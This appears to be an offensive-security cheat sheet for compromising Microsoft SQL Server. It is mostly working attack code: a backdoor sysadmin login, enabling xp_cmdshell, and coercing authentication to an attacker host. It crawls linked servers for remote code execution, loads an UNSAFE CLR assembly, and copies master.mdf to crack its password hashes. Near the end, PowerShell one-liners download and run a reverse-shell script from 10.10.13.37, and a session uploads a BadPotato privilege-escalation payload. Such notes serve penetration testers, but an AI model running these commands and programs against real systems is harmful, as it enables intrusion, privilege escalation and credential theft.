MS SQL
Create a new login, map it to the db_owner
user and assign the sysadmin
role:
CREATE LOGIN [snovvcrash] WITH PASSWORD=N'Passw0rd!';
CREATE USER [snovvcrash] FOR LOGIN [snovvcrash];
ALTER ROLE [db_owner] ADD MEMBER [snovvcrash];
EXEC master..sp_addrolemember @rolename=N'db_owner', @membername=N'snovvcrash';
EXEC master..sp_addsrvrolemember @rolename=N'sysadmin', @loginame=N'snovvcrash';
EXEC master..sp_addremotelogin 'SQLSRV01\SQLEXPRESS', 'snovvcrash';
Check the state of xp_cmdshell
:
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';
Enable xp_cmdshell
:
1> EXEC sp_configure 'show advanced options', 1
2> GO
1> RECONFIGURE
2> GO
1> EXEC sp_configure 'xp_cmdshell', 1
2> GO
1> RECONFIGURE
2> GO
1> EXEC xp_cmdshell 'whoami'
2> GO
Enumeration
Current login name (SQL Server login or Domain/Windows username, like sa
):
SELECT SYSTEM_USER;
Current database username (like msdb.dbo
):
SELECT USER;
Test if current server role is public
or sysadmin
:
SELECT IS_SRVROLEMEMBER('public');
SELECT IS_SRVROLEMEMBER('sysadmin');
List databases:
SELECT name FROM master..sysdatabases;
List linked servers:
EXEC sp_linkedservers;
List logins available for impersonation:
SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';
UNC Path Injection
SQL > EXEC master..xp_dirtree '\\10.10.13.37\share\test.txt';
PowerUpSQL > Get-SQLQuery -Instance "SQLSRV01.megacorp.local,1433" -Query "EXEC master..xp_dirtree '\\10.10.13.37\share\test.txt'"
Crawl Links
Exec code from SQLSRV00 when SQLSRV01 and SQLSRV02 are linked like this SQLSRV00 -> SQLSRV01 -> SQLSRV02:
EXEC sp_serveroption 'SQLSRV01','rpc','true';
EXEC sp_serveroption 'SQLSRV01','rpc out','true';
EXEC ('select SYSTEM_USER;') AT [SQLSRV01];
EXEC ('EXEC (''select SYSTEM_USER;'') AT [SQLSRV02];') AT [SQLSRV01];
EXEC ('EXEC sp_configure ''show advanced options'',1; RECONFIGURE; EXEC sp_configure ''xp_cmdshell'',1; RECONFIGURE;') AT [SQLSRV01];
EXEC ('EXEC (''EXEC sp_configure ''''show advanced options'''',1; RECONFIGURE; EXEC sp_configure ''''xp_cmdshell'''',1; RECONFIGURE;'') AT [SQLSRV02];') AT [SQLSRV01];
EXEC ('EXEC xp_cmdshell ''cmd /c ping -n 2 10.10.13.37'';') AT [SQLSRV01];
EXEC ('EXEC (''EXEC xp_cmdshell ''''cmd /c ping -n 2 10.10.13.37'''';'') AT [SQLSRV02];') AT [SQLSRV01];
Abusing server links from C# code:
using System;
using System.Data.SqlClient;
namespace SqlCrawlLinks
{
class Program
{
static string sqlQuery(string query, SqlConnection con)
{
SqlCommand command = new SqlCommand(query, con);
SqlDataReader reader = command.ExecuteReader();
string result = "";
try
{
while (reader.Read()) { result += $"{reader[0]}\n"; }
result = result.Remove(result.Length - 1);
}
catch { }
reader.Close();
return result;
}
static void Main(string[] args)
{
// Authenticate
string sqlServer = "SQLSRV01.corp1.com";
string database = "master";
string conString = $"Server = {sqlServer}; Database = {database}; Integrated Security = True;";
SqlConnection con = new SqlConnection(conString);
try
{
con.Open();
Console.WriteLine("[+] Auth success!");
}
catch
{
Console.WriteLine("[-] Auth failed");
Environment.Exit(0);
}
// List linked servers
string result = sqlQuery("EXEC sp_linkedservers;", con);
Console.WriteLine($"[*] Linked SQL servers:\n{result}");
// Enumerate current login on the linked server
result = sqlQuery("select login from openquery(\"SQLSRV02\", 'select SYSTEM_USER as login');", con);
Console.WriteLine($"[*] Executing as the login {result} at SQLSRV02");
// Enable xp_cmdshell on the linked server
sqlQuery("EXEC ('EXEC sp_configure ''show advanced options'',1; RECONFIGURE; EXEC sp_configure ''xp_cmdshell'',1; RECONFIGURE;') AT [SQLSRV02];", con);
// RCE via EXEC at on the linked server
result = sqlQuery("EXEC ('EXEC xp_cmdshell ''whoami'';') AT [SQLSRV02];", con);
Console.WriteLine($"[*] xp_cmdshell at SQLSRV02 via EXEC AT: {result}");
// RCE via OPENQUERY on the linked server
sqlQuery("select 1 from openquery(\"SQLSRV02\", 'select 1; EXEC sp_configure ''show advanced options'',1; reconfigure; EXEC sp_configure ''xp_cmdshell'',1; reconfigure;');", con)
sqlQuery("select 1 from openquery(\"SQLSRV02\", 'select 1; EXEC xp_cmdshell ''cmd /c ping -n 2 10.10.13.37'';');", con);
// Double-hop RCE on the target server (SQLSRV01) from the linked server (SQLSRV02)
sqlQuery("EXEC ('EXEC (''EXEC sp_configure ''''show advanced options'''',1; RECONFIGURE; EXEC sp_configure ''''xp_cmdshell'''',1; RECONFIGURE;'') AT [SQLSRV01];') AT [SQLSRV02];", con);
sqlQuery("EXEC ('EXEC (''EXEC xp_cmdshell ''''cmd /c ping -n 2 10.10.13.37'''';'') AT [SQLSRV01];') AT [SQLSRV02];", con);
con.Close();
}
}
}
Crawl links with MSF:
msf > use exploit/windows/mssql/mssql_linkcrawler
msf exploit(windows/mssql/mssql_linkcrawler) > set RHOSTS 192.168.1.11
msf exploit(windows/mssql/mssql_linkcrawler) > set USERNAME sa
msf exploit(windows/mssql/mssql_linkcrawler) > set PASSWORD Passw0rd!
msf exploit(windows/mssql/mssql_linkcrawler) > set DEPLOY true
msf exploit(windows/mssql/mssql_linkcrawler) > set VERBOSE true
msf exploit(windows/mssql/mssql_linkcrawler) > run
Crawl links with PowerUpSQL:
PS > Get-SQLInstanceDomain | Get-SQLConnectionTest
PS > Get-SQLServerInfo -Instance "sqlsrv01.megacorp.local,1433"
PS > Get-SQLQuery -Instance "sqlsrv01.megacorp.local,1433" -Query "select * from openquery(""sqlsrv02.megacorp.local"", 'select * from information_schema.tables')"
PS > Get-SQLServerLinkCrawl -Instance "sqlsrv01.megacorp.local,1433"
PS > Get-SQLServerLinkCrawl -Instance "sqlsrv01.megacorp.local,1433" -Query "SELECT * FROM master..syslogins" | ft
PS > Get-SQLServerLinkCrawl -Instance "sqlsrv01.megacorp.local\SQLEXPRESS" -Username sa -Password "Passw0rd!" -Query "SELECT name FROM master..sysdatabases"
LDAP Enumeration via OpenQuery
External Scripts
Enable external scripts:
EXEC sp_configure 'external scripts enabled,1';
Run Python code:
EXEC sp_execute_external_script
@language=N'Python',
@script=N'
with open(''c:\\inetpub\\wwwroot\\web.config'', ''r'') as f:
print(f.read())
'
master.mdf
PS > Invoke-NinjaCopy -Path "C:\Program Files\Microsoft SQL Server\MSSQL15.MSSQLSERVER\MSSQL\DATA\master.mdf" -LocalDestination "C:\Windows\Temp\master.mdf"
PS > [Reflection.Assembly]::LoadFile("$pwd\OrcaMDF.RawCore.dll")
PS > [Reflection.Assembly]::LoadFile("$pwd\OrcaMDF.Framework.dll")
PS > . .\Get-MDFHashes.ps1
PS > Get-MDFHashes -mdf "C:\Windows\Temp\master.mdf"
$ hashcat -m 132 -O -a 0 -w 3 --session=mssql -o mssql.out mssql.in seclists/Passwords/darkc0de.txt -r rules/d3ad0ne.rule
C# Examples
using System;
using System.Data.SqlClient;
namespace MSSQL
{
class Program
{
static string sqlQuery(string query, SqlConnection con)
{
SqlCommand command = new SqlCommand(query, con);
SqlDataReader reader = command.ExecuteReader();
string result = "";
try
{
while (reader.Read()) { result += $"{reader[0]}\n"; }
result = result.Remove(result.Length - 1);
}
catch { }
reader.Close();
return result;
}
static void Main(string[] args)
{
// Authenticate
string sqlServer = "SQLSRV01.megacorp.local";
string database = "master";
string conString = $"Server = {sqlServer}; Database = {database}; Integrated Security = True;";
SqlConnection con = new SqlConnection(conString);
try
{
con.Open();
Console.WriteLine("[+] Auth success!");
}
catch
{
Console.WriteLine("[-] Auth failed");
Environment.Exit(0);
}
// Enumerate login name (SQL Server login or Domain/Windows username)
string result = sqlQuery("SELECT SYSTEM_USER;", con);
Console.WriteLine($"[*] Logged in as: {result}");
// Enumerate database username
result = sqlQuery("SELECT USER;", con);
Console.WriteLine($"[*] Mapped to the user: {result}");
// Check if we have public role assigned
result = sqlQuery("SELECT IS_SRVROLEMEMBER('public');", con);
Int32 val = Int32.Parse(result.ToString());
if (val == 1)
{
Console.WriteLine("[*] User is a member of public role");
}
else
{
Console.WriteLine("[*] User is NOT a member of public role");
}
// Invoke xp_dirtree to coerce authentication on attacker's machine
string lhost = args[0];
sqlQuery($@"EXEC master..xp_dirtree '\\{lhost}\test';", con);
Console.WriteLine($"[*] Invoked xp_dirtree against {lhost}");
// Enumerate logins that we can impersonate
result = sqlQuery("SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';", con);
Console.WriteLine($"[*] Logins that can be impersonated:\n{result}");
// Impersonate sa user
result = sqlQuery("EXECUTE AS LOGIN = 'sa'; SELECT SYSTEM_USER;", con);
Console.WriteLine($"[*] Executing in context of impersonated user: {result}");
// Impersonate dbo database user
result = sqlQuery("use msdb; EXECUTE AS USER = 'dbo'; SELECT USER;", con);
Console.WriteLine($"[*] Executing in context of impersonated login: {result}");
// Execute OS commands via xp_cmdshell
sqlQuery("EXECUTE AS LOGIN = 'sa';", con);
sqlQuery("EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;", con);
Console.WriteLine("[+] Enabled xp_cmdshell");
result = sqlQuery("EXEC xp_cmdshell whoami", con);
Console.WriteLine($"[*] xp_cmdshell: {result}");
// Execute OS commands via Ole Automation Procedures
sqlQuery("EXECUTE AS LOGIN = 'sa';", con);
sqlQuery("EXEC sp_configure 'Ole Automation Procedures',1; RECONFIGURE; ", con);
sqlQuery(@"DECLARE @myshell INT; EXEC sp_oacreate 'wscript.shell', @myshell OUTPUT; EXEC sp_oamethod @myshell, 'run', null, 'cmd /c echo Test > C:\Windows\Tasks\out.txt';", con);
con.Close();
}
}
}
Custom Assemblies
Load and trigger custom assembly:
using System;
using System.Data.SqlClient;
namespace SqlProcedure
{
class Program
{
static string sqlQuery(string query, SqlConnection con)
{
SqlCommand command = new SqlCommand(query, con);
SqlDataReader reader = command.ExecuteReader();
string result = "";
try
{
while (reader.Read()) { result += $"{reader[0]}\n"; }
result = result.Remove(result.Length - 1);
}
catch { }
reader.Close();
return result;
}
static void Main(string[] args)
{
// Authenticate
string sqlServer = "SQLSRV01.megacorp.local";
string database = "master";
string conString = $"Server = {sqlServer}; Database = {database}; Integrated Security = True;";
SqlConnection con = new SqlConnection(conString);
try
{
con.Open();
Console.WriteLine("[+] Auth success!");
}
catch
{
Console.WriteLine("[-] Auth failed");
Environment.Exit(0);
}
// Impersonate sa user
sqlQuery("EXECUTE AS LOGIN = 'sa';", con);
// Drop existing procedure and assembly
sqlQuery(@"use msdb; DROP PROCEDURE IF EXISTS SqlCmdExec;", con);
sqlQuery(@"use msdb; DROP ASSEMBLY IF EXISTS myAssembly1;", con);
// Enable CLR integration
sqlQuery("use msdb; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'clr enabled',1; RECONFIGURE; EXEC sp_configure 'clr strict security',0; RECONFIGURE;", con);
Console.WriteLine("[+] Enabled CLR integration");
// Create new assembly
sqlQuery(@"CREATE ASSEMBLY myAssembly1 FROM 'C:\Windows\Tasks\SqlCmdExec.dll' WITH PERMISSION_SET = UNSAFE;", con);
//sqlQuery(@"CREATE ASSEMBLY my_assembly FROM 0x31337... WITH PERMISSION_SET = UNSAFE;", con);
Console.WriteLine("[+] Created new assembly");
// Create new procedure
sqlQuery(@"CREATE PROCEDURE [dbo].[SqlCmdExec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [myAssembly1].[StoredProcedures].[SqlCmdExec];", con);
Console.WriteLine("[+] Created new procedure");
// Trigger custom class for RCE
string result = sqlQuery("EXEC SqlCmdExec 'whoami';", con);
Console.WriteLine($"[*] SqlCmdExec: {result}");
con.Close();
}
}
}
Custom assembly code example (must be compiled to SqlCmdExec.dll
):
using Microsoft.SqlServer.Server;
using System.Data.SqlTypes;
using System.Diagnostics;
public class StoredProcedures
{
[Microsoft.SqlServer.Server.SqlProcedure]
public static void cmdExec(SqlString execCommand)
{
Process proc = new Process();
proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe";
proc.StartInfo.Arguments = string.Format($@" /c {execCommand}");
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.RedirectStandardOutput = true;
proc.Start();
SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", System.Data.SqlDbType.NVarChar, 4000));
SqlContext.Pipe.SendResultsStart(record);
record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());
SqlContext.Pipe.SendResultsRow(record);
SqlContext.Pipe.SendResultsEnd();
proc.WaitForExit();
proc.Close();
}
}
Convert custom assembly DLL to a hex string:
$assemblyFile = "SqlCmdExec.dll"
$stringBuilder = New-Object -Type System.Text.StringBuilder
$fileStream = [IO.File]::OpenRead($assemblyFile)
while (($byte = $fileStream.ReadByte()) -gt -1) {
$stringBuilder.Append($byte.ToString("X2")) | Out-Null
}
$stringBuilder.ToString() -join "" | Out-File SqlCmdExec.txt
Tools
sqsh
$ sqsh -S 127.0.0.1 -U 'MEGACORP\snovvcrash' -P 'Passw0rd!'
1> xp_cmdshell "powershell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString('http://10.10.13.37/rev.ps1')"
2> GO
mssqlclient.py
$ mssqlclient.py MEGACORP/snovvcrash:'Passw0rd!'@127.0.0.1 [-windows-auth]
SQL> xp_cmdshell "powershell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString(\"http://10.10.13.37/rev.ps1\")"
mssql_shell.py
Change MSSQL_SERVER
, MSSQL_USERNAME
and MSSQL_PASSWORD
before running.
$ python3 mssql_shell.py
CMD MSSQL$SQLEXPRESS@SQL01 C:\Windows\system32> UPLOAD pwn.exe \Windows\System32\spool\drivers\color\pwn.exe
CMD MSSQL$SQLEXPRESS@SQL01 C:\Windows\system32> UPLOAD Invoke-BadPotato.ps1 \Windows\System32\spool\drivers\color\potato.ps1
// . .\Invoke-BadPotato.ps1; Invoke-BadPotato -C "C:\Windows\System32\spool\drivers\color\pwn.exe"
CMD MSSQL$SQLEXPRESS@SQL01 C:\Windows\system32> powershell -enc LgAgAC4AXABJAG4AdgBvAGsAZQAtAEIAYQBkAFAAbwB0AGEAdABvAC4AcABzADEAOwAgAEkAbgB2AG8AawBlAC0AQgBhAGQAUABvAHQAYQB0AG8AIAAtAEMAIAAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABTAHkAcwB0AGUAbQAzADIAXABzAHAAbwBvAGwAXABkAHIAaQB2AGUAcgBzAFwAYwBvAGwAbwByAFwAcAB3AG4ALgBlAHgAZQAiAAoA
mssql-cli
$ python -m pip install mssql-cli
$ mssql-cli -S 127.0.0.1 -U 'MEGACORP\snovvcrash' -P 'Passw0rd!'
PowerUpSQL
PS > Get-SQLInstanceDomain
PS > Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLServerInfo
PS > Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLColumnSampleDataThreaded -Keywords "project" -SampleSize 5 | select instance, database, column, sample | ft -autosize
PS > Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Threads 10 -Username sa -Password 'Passw0rd!' -Verbose
PS > Get-SQLQuery -Instance "SQLSRV01.megacorp.local,1433" -Query "select @@servername"
PS > Invoke-SQLOSCmd -Username sa -Password 'Passw0rd!' -Instance sqlsrv01.megacorp.local -Command "whoami" -RawResults
PS > Invoke-SQLAudit -Instance WEB01 -Username sa -Password 'Passw0rd!' -Verbose
DAFT
ESC
SQLRecon
mssql-spider
Last updated